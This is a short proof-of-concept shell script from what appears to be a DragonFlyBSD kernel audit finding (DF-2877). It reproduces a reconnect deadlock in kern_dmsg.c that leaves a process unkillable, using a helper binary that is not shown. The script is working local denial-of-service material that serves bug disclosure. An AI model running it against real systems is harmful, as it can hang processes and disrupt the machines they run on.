DragonFlyBSD Kernel Audit
DF-2877 / run_f4.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2877 PoC — kdmsg_iocom_reconnect() kill-wait deadlock:
# kern_dmsg.c:141-144 waits for the OLD reader/writer threads with a
# non-PCATCH lksleep loop and NO fp_shutdown escape (unlike
# kdmsg_iocom_uninit, which shitcans the pipe after 10s at :287-293).
# If the old reader is parked inside fp_read() on the old peer socket
# and that peer neither writes nor closes, the SECOND DIOCRECLUSTER
# never returns and the calling process is UNKILLABLE (D state).
set -x
DEV=/dev/vbd0

# 1. first attach; peer parks holding the socket open
(/tmp/dfpeer hold $DEV 240 > /tmp/hold.out 2>&1 &)
sleep 3
cat /tmp/hold.out

# 2. second attach -> wedges in reconnect
(timeout 60 /tmp/dfpeer openwr $DEV 3 > /tmp/wedge.out 2>&1 &)
sleep 5
cat /tmp/wedge.out

# 3. the second process is stuck in D state, wchan clstrkl
ps -ax -o pid,stat,wchan,command | grep -E "dfpeer (hold|openwr)" | grep -v grep

# 4. SIGKILL cannot kill it
WPID=$(ps -ax -o pid,command | grep "dfpeer openwr" | grep -v grep | awk "{print \$1}")
echo "wedged pid=$WPID"
kill -9 $WPID 2>/dev/null
sleep 3
echo "=== after kill -9 ==="
ps -ax -o pid,stat,wchan,command | grep -E "$WPID|dfpeer" | grep -v grep && echo "STILL_ALIVE_UNKILLABLE"